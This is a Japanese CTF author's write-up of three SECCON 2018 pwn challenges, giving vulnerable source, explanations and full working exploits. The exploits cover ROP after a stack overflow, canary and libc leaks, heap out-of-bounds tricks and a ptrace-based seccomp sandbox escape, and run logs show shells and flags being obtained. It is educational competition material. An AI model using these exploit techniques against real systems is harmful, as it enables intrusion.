SECCON 2018 Online 作問(Classic Pwn, Profile, SimpleMemo)
大会から1週間遅れての公開です.
旬を過ぎて需要も無くなったであろう頃合いですが,まぁ備忘録ということで軽く書いていきます.
今回は Classic Pwn, Profile, SimpleMemo の3問を作問しました.
それぞれ初心者,中堅,プロ向けの問題です.
解いたチーム数も想定の通りで,良い感じに出題できたと思っています.
- Classic Pwn (Exploit 121, 197 solves)
- Profile (Exploit 255, 64 solves)
- SimpleMemo (Exploit 494, 2 solves)
Classic Pwn (Exploit 121, 197 solves)
Host: classic.pwn.seccon.jp
Port: 17354
classic_aa9e979fd5c597526ef30c003bffee474b314e22
ソースコード
// gcc -fno-stack-protector classic.c -o classic #include <stdio.h> #define BUF_SIZE 64 char *gets(char *s); __attribute__((constructor)) int init(){ setbuf(stdout, NULL); setbuf(stderr, NULL); return 0; } int main(void){ char local[BUF_SIZE]; puts("Classic Pwnable Challenge"); printf("Local Buffer >> "); gets(local); puts("Have a nice pwn!!"); return 0; }
解説 および 解法
gets関数でスタックオーバーフローが起きるのでROPを組むだけの問題です.
まずは puts関数を利用して GOT から libc のアドレスをリークさせます.
ret2main で再び ROP に持ち込んで,system関数を呼び出せばおしまいです.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './classic' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'classic.pwn.seccon.jp', 'port':17354}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.23.so') env.select() #========== binf = ELF(bin_file) addr_got_main = binf.got['__libc_start_main'] addr_main = binf.sep_function['main'] libc = ELF(env.libc) if env.libc else binf.libc offset_libc_main = libc.sep_function['__libc_start_main'] #========== def attack(conn): rop = ROP(binf) rop.puts(addr_got_main) rop.call(addr_main) exploit = 'a'*0x48 exploit += str(rop) conn.sendlineafter('>> ', exploit) conn.recvuntil('pwn!!\n') addr_libc_main = u(conn.recvuntil('\n', drop=True)) libc.address = addr_libc_main - offset_libc_main info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_str_sh = next(libc.search('/bin/sh')) rop = ROP(libc) rop.system(addr_libc_str_sh) exploit = 'a'*0x48 exploit += str(rop) conn.sendlineafter('>> ', exploit) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行結果
$ ./exploit_classic.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2018/classic_pwn/classic' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 59.106.215.241 on port 17354: Done [*] Loaded cached gadgets for './classic' [*] addr_libc_base = 0x7fee6bfdb000 [*] Loaded cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6' [*] Switching to interactive mode Have a nice pwn!! $ ls -al total 36 drwxr-x--- 2 root classic 4096 Oct 23 02:37 . drwxr-xr-x 6 root root 4096 Oct 23 02:37 .. -rw-r----- 1 root classic 220 Sep 1 2015 .bash_logout -rw-r----- 1 root classic 3771 Sep 1 2015 .bashrc -rw-r----- 1 root classic 655 May 16 2017 .profile -rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic -rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
Profile (Exploit 255, 64 solves)
Host: profile.pwn.seccon.jp
Port: 28553
profile_e814c1a78e80ed250c17e94585224b3f3be9d383
ソースコード
#include <iostream> #include <iomanip> #include <unistd.h> #include <stdio.h> #include <malloc.h> using namespace std; int getn(char *buf, unsigned size); class Profile { private: string msg; string name; int age; public: Profile(){ name = ""; age = 0; msg = ""; }; void set_name(string n){ name = n; }; void set_age(int a){ age = a; }; void set_msg(string m){ msg = m; }; void update_msg(void); void show(void); }; void Profile::update_msg(void){ char *buf; size_t size; buf = (char*)msg.c_str(); if(!(size = malloc_usable_size(buf))){ cout << "Unable to update message." << endl; return; } cout << "Input new message >> "; getn(buf, size); } void Profile::show(void){ cout << "Name : " << name << endl; cout << "Age : " << age << endl; cout << "Msg : " << msg << endl; } __attribute__((constructor)) void init(void){ setbuf(stdout, NULL); setbuf(stderr, NULL); } int main(void){ Profile p; string s; int n; cout << "Please introduce yourself!" << endl; cout << "Name >> "; cin >> s; p.set_name(s); cout << "Age >> "; cin >> n; p.set_age(n); cout << "Message >> "; cin >> s; p.set_msg(s); do { cout << endl << "1 : update message" << endl << "2 : show profile" << endl << "0 : exit" << endl << ">> "; cin >> n; getchar(); switch(n){ case 1: p.update_msg(); break; case 2: p.show(); break; default: cout << "Wrong input..." << endl; } } while(n); } int getn(char *buf, unsigned size){ char c; unsigned i; for(i=0; i<size; i++){ read(STDIN_FILENO, &c, 1); if(!(c^'\n')) break; buf[i] = c; } return i; }
解説 および 解法
名前とメッセージを入力するサービスです.
機能としては,メッセージの更新とプロフィールの表示が可能です.
update_msg関数では,メッセージの更新に際してなぜか malloc_usable_size 関数を利用してヒープの使用可能なサイズを取得しています.
しかし,string は文字列が短い場合(0xf文字以下でしたっけ?)は,局所変数であればスタックに確保された領域に書き込まれます.
この場合, malloc_usable_size 関数は失敗し負数を返します.
この負数を unsigned の size として扱うことで,スタックオーバーフローを引き起こすことが可能になります.
あとは,canary と libc のリークを行って ROP に持ち込みましょう.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py import re bin_file = './profile' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'profile.pwn.seccon.jp', 'port':28553}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.23.so') env.select() #========== binf = ELF(bin_file) libc = ELF(env.libc) if env.libc else binf.libc offset_libc_main = libc.sep_function['__libc_start_main'] #========== def attack(conn): prof = Profile(conn, 'a'*8, 0, 'x') for i in range(0, 0x100, 8): prof.update('X'*0x10+chr(i)) if prof.show()['Name'] == 'a'*8: x = i-0x10 prof.update('X'*0x10+chr(x)) addr_stack = u(prof.show()['Name']) info('addr_stack = 0x{:08x}'.format(addr_stack)) prof.update('X'*0x10+p64(addr_stack+0x28)) canary = u(prof.show()['Name']) info('canary = 0x{:08x}'.format(canary)) prof.update('X'*0x10+p64(addr_stack+0x48)) addr_libc_main = u(prof.show()['Name']) - 0xf0 libc.address = addr_libc_main - offset_libc_main info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_system = libc.sep_function['system'] addr_libc_str_sh = next(libc.search('/bin/sh')) rop = ROP(binf) exploit = 'X'*0x10 exploit += p64(addr_stack + 0x10) exploit += 'Y'*0x20 exploit += p64(canary) exploit += 'Z'*0x18 exploit += p64(rop.rdi.address) exploit += p64(addr_libc_str_sh) exploit += p64(addr_libc_system) prof.update(exploit) conn.sendlineafter('>> ', '0') class Profile: def __init__(self, conn, name, age, msg): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter self.sendlineafter('Name >> ', name) self.sendlineafter('Age >> ', str(age)) self.sendlineafter('Message >> ', msg) def update(self, msg): self.sendlineafter('>> ', '1') self.sendlineafter('message >> ', msg) def show(self): self.sendlineafter('>> ', '2') data = self.recvuntil('\n\n', drop=True) data = re.findall(r'(.*) : (.*)', data) return dict(data) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行結果
$ ./exploit_profile.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2018/profile/profile' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 59.106.215.241 on port 28553: Done [*] addr_stack = 0x7fff71e66f30 [*] canary = 0xa3ef9bd941bdb300 [*] addr_libc_base = 0x7f0c0e597000 [*] Loaded cached gadgets for './profile' [*] Switching to interactive mode Wrong input... $ ls -al total 40 drwxr-x--- 2 root profile 4096 Oct 23 02:37 . drwxr-xr-x 6 root root 4096 Oct 23 02:37 .. -rw-r----- 1 root profile 220 Sep 1 2015 .bash_logout -rw-r----- 1 root profile 3771 Sep 1 2015 .bashrc -rw-r----- 1 root profile 655 May 16 2017 .profile -rw-r----- 1 root profile 41 Oct 23 02:37 flag.txt -rwxr-x--- 1 root profile 15576 Oct 23 02:37 profile $ cat flag.txt SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}
SimpleMemo (Exploit 494, 2 solves)
Host: smemo.pwn.seccon.jp
Port: 36384
memo_ba2e54eda5aca5ca5c187a3e0603d4ce623aee62
ソースコード
// gcc memo.c -Wl,-z,norelro -fPIE -pie -o memo #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stddef.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <linux/audit.h> #include <linux/filter.h> #include <linux/seccomp.h> #define BUF_SIZE 128 #define MEMO_SIZE 0x28 #define MEMOS 0x10 static int set_seccomp(void); static int menu(void); static void add(char **memo); static void show(char **memo); static void delete(char **memo); static int getnline(char *buf, int len); static int getint(void); __attribute__((constructor)) int init(){ setbuf(stdout, NULL); setbuf(stderr, NULL); set_seccomp(); return 0; } static int set_seccomp(void){ struct sock_filter filter[] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, __X32_SYSCALL_BIT, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short) (sizeof(filter) / sizeof(struct sock_filter)), .filter = filter, }; if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { perror("prctl PR_SET_NO_NEW_PRIVS"); return -1; } if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)){ perror("prctl PR_SET_SECCOMP"); return -1; } return 0; } int main(void){ char *memo[MEMOS] = {}; puts("<<<< simple memo service >>>>"); for(;;){ switch(menu()){ case 1: add(memo); break; case 2: show(memo); break; case 3: delete(memo); break; case 0: goto end; default: puts("Wrong input."); } } end: puts("Bye!"); return 0; } static int menu(void){ printf( "\nMENU\n" "1. Add\n" "2. Show\n" "3. Remove\n" "0. Exit\n" "> "); return getint(); } static void add(char **memo){ int id; for(id = 0; id < MEMOS; id++) if(!memo[id]) break; if(id >= MEMOS){ puts("Entry is FULL..."); return; } memo[id] = (char*)calloc(MEMO_SIZE, 1); printf("Input memo > "); getnline(memo[id], MEMO_SIZE); printf("Added id:%02d\n", id); } static void show(char **memo){ int id, n; printf("Input id > "); id = getint(); if(!memo[id]){ puts("Entry does not exist..."); return; } printf("Show id:%02d\n%s\n", id, memo[id]); } static void delete(char **memo){ int id; printf("Input id > "); id = getint(); if(!memo[id]){ puts("Entry does not exist..."); return; } free(memo[id]); memo[id] = NULL; printf("Deleted id:%02d\n", id); } static int getnline(char *buf, int size){ char *lf; if(size < 0) return 0; fgets(buf, size, stdin); if((lf=strchr(buf,'\n'))) *lf='\0'; return 1; } static int getint(void){ char buf[BUF_SIZE]; getnline(buf, sizeof(buf)); return atoi(buf); }
解説 および 解法
seccomp escape 問題です.
脆弱性としては,show, delete関数で配列外参照が可能になっています.
これによって,スタックを掘って バイナリ本体やlibc,スタックやヒープのアドレスが容易に特定が可能,かつ任意のアドレスに対してfreeを行うことが可能になります.
あと,getnline関数が non-NULL 終端です.
良い感じにごにょってシェルコード実行まで持ち込みましょう.
本題はここからです.
この問題では,seccomp によってopen系が落とされています.
これでは flag.txt を開くことができません.
seccomp の sock_filter を再掲します.
struct sock_filter filter[] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, __X32_SYSCALL_BIT, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), };
これより,ブラックリスト方式でシステムコールを落としていることがわかります.
制限がかかっているのは open と openat,また,制限回避によくありがちな x86 arch (32bit mode) や x32 ABI も禁止されています.
さてどうしようかと seccomp のマニュアルを読んでいると,こんな記述が存在します.
Before kernel 4.8, the seccomp check will not be run again after the tracer is notified. (This means that, on older ker‐ nels, seccomp-based sandboxes must not allow use of ptrace(2)—even of other sandboxed processes—without extreme care; ptracers can use this mechanism to escape from the sec‐ comp sandbox.)
動作しているOSは配布している libc から Ubuntu 16.04 であることは分かると思います.
カーネルは,4.4とかそこらへんなので,4.8未満です.
この記述に則って,ptraceを利用して制限回避を行います.
まずはシェルコードで fork, ptraceを利用して tracee, tracer に分かれます.
traceeが制限されてない適当なシステムコールを発行したら,tracerで捕まえて orig_rax を SYS_open に書き換えてあげます.
すると,openが発行されてしまうという寸法です.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './memo' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file]}, \ local = {'argv':[bin_file]}, \ remote = {'host':'smemo.pwn.seccon.jp', 'port':36384}) env.set_item('libc', debug = None, \ local = None, \ remote = 'libc-2.23.so') env.select() #========== binf = ELF(bin_file) offset_csu_init = binf.sep_function['__libc_csu_init'] offset_got_main = binf.got['__libc_start_main'] libc = ELF(env.libc) if env.libc else binf.libc offset_libc_main = libc.sep_function['__libc_start_main'] addr_shellcode = 0x100000 #========== def attack(conn): memo = Memo(conn) memo.add(p64(0)+p64(0x31)) memo.add(p64(0)+p64(0x31)) addr_csu_init = u(memo.show(-2)) binf.address = addr_csu_init - offset_csu_init info('addr_binf_base = 0x{:08x}'.format(binf.address)) addr_got_main = binf.address + offset_got_main addr_bss = binf.sep_section['.bss'] addr_buf = addr_bss + 0x30 addr_stack = u(memo.show(-4)) - 0x90 info('addr_stack = 0x{:08x}'.format(addr_stack)) addr_heap_base = u(memo.show(-5)) - 0x1020 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) addr_libc_main = u(memo.show(-21, p64(addr_got_main))) libc.address = addr_libc_main - offset_libc_main info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_setcontext = libc.sep_function['setcontext'] rop = ROP(binf) exploit1 = p64(addr_heap_base+0x1078) exploit1 += p64(rop.leave.address) addr_r14_r15 = rop.r14_r15.address rop = ROP(libc) rop.read(constants.STDIN_FILENO, addr_heap_base + 0x10c8, 0x100) exploit2 = str(rop) memo.add(exploit2[:0x18]+p64(addr_r14_r15)+p64(0xdeadbeef)[:-1]) memo.add(exploit2[0x18:]) memo.delete(-21, p64(addr_heap_base + 0x1030)) memo.delete(0) memo.add(p64(0)+p64(0x31)+p64(addr_stack - 0x78)) memo.add('') memo.add(p64(addr_heap_base)+'a'*0x10 + exploit1, p64(0xdeadbeef)*7+p64(0x33)) #========== shellcode = open('exploit.bin', 'rb').read() context = p(-1) # r8 context += p64(0) # r9 context = context.ljust(0x68-0x28) context += p64(addr_shellcode) # rdi context += p64((len(shellcode)+(0x1000-1)) & ~(0x1000-1)) # rsi context = context.ljust(0x88-0x28) context += p64(constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC) # rdx context += p64(0xdeadbeef) context += p64(constants.MAP_PRIVATE | constants.MAP_ANONYMOUS) # rcx rop = ROP(libc) rop.read(constants.STDIN_FILENO, addr_buf, len(context)) rop.call(addr_libc_setcontext+0x5f, [addr_buf-0x28]) rop.mmap() rop.read(constants.STDIN_FILENO, addr_shellcode, len(shellcode)) rop.call(addr_shellcode) conn.send(str(rop)) sleep(0.1) conn.send(context) sleep(0.1) conn.send(shellcode) class Memo: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def add(self, data, append=''): self.sendlineafter('> ', '1'.ljust(8)+append) if len(data)>=0x27: self.sendafter('memo > ', data) else: self.sendlineafter('memo > ', data) def show(self, idx, append=''): self.sendlineafter('> ', '2'.ljust(8)+append) self.sendlineafter('id > ', str(idx)) self.recvuntil('\n') return self.recvuntil('\n\n', drop=True) def delete(self, idx, append=''): self.sendlineafter('> ', '3'.ljust(8)+append) self.sendlineafter('id > ', str(idx)) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
// gcc -fomit-frame-pointer -fno-stack-protector -nostdlib -fPIE -masm=intel -c exploit.c && ld --oformat=binary exploit.o -o exploit.bin #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <sys/user.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <sys/syscall.h> #define SYS_alt_open 0xdead static void tracer(pid_t pid); static int tracee(void); int _open(const char *pathname, int flags); long _ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); void main(void){ pid_t pid; switch(pid = fork()){ case 0: tracee(); break; case -1: exit(-1); default: tracer(pid); break; } exit(0); } static void tracer(pid_t pid){ int status; waitpid(pid, &status, 0); if(WIFEXITED(status) || WIFSIGNALED(status)) return; for(;;){ struct user_regs_struct regs; _ptrace(PTRACE_SYSCALL, pid, NULL, 0); waitpid(pid, &status, 0); if(!(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP)) break; if(_ptrace(PTRACE_GETREGS, pid, NULL, ®s)) break; if(regs.orig_rax == SYS_alt_open){ regs.orig_rax = SYS_open; _ptrace(PTRACE_SETREGS, pid, NULL, ®s); } } } static int tracee(void){ int fd, n; char buf[512]; if(_ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) return -1; kill(getpid(), SIGSTOP); if((fd = _open("flag.txt", O_RDONLY)) == -1) return -1; n = read(fd, buf, sizeof(buf)); write(STDOUT_FILENO, buf, n); return n; } int _open(const char *pathname, int flags){ asm volatile ("syscall" :: "a"(SYS_alt_open)); } ssize_t read(int fd, void *buf, size_t count){ asm volatile ("syscall" :: "a"(SYS_read)); } ssize_t write(int fd, const void *buf, size_t count){ asm volatile ("syscall" :: "a"(SYS_write)); } pid_t getpid(void){ asm volatile ("syscall" :: "a"(SYS_getpid)); } pid_t fork(void){ asm volatile ("syscall" :: "a"(SYS_fork)); } void exit(int status){ asm volatile ("syscall" :: "a"(SYS_exit)); } pid_t waitpid(pid_t pid, int *status, int options){ asm volatile ("mov r10, 0\r\nsyscall" :: "a"(SYS_wait4)); } int kill(pid_t pid, int sig){ asm volatile ("syscall" :: "a"(SYS_kill)); } long _ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data){ asm volatile ("mov r10, rcx\r\nsyscall" :: "a"(SYS_ptrace)); }
実行結果
$ gcc -fomit-frame-pointer -fno-stack-protector -nostdlib -fPIE -masm=intel -c exploit.c && ld --oformat=binary exploit.o -o exploit.bin /usr/include/stdlib.h: In function ‘exit’: exploit.c:99:1: warning: ‘noreturn’ function does return } ^ ld: 警告: エントリシンボル _start が見つかりません。デフォルトとして 0000000000400000 を使用します $ ./exploit_simple_memo.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2018/simple_memo/memo' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 59.106.215.241 on port 36384: Done [*] addr_binf_base = 0x55df61eb8000 [*] addr_stack = 0x7ffe12fc5d60 [*] addr_heap_base = 0x55df63b42000 [*] addr_libc_base = 0x7f6036349000 [*] Loading gadgets for '/home/yutaro/CTF/SECCON/2018/simple_memo/memo' [*] Loaded cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6' [*] Switching to interactive mode SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35} [*] Got EOF while reading in interactive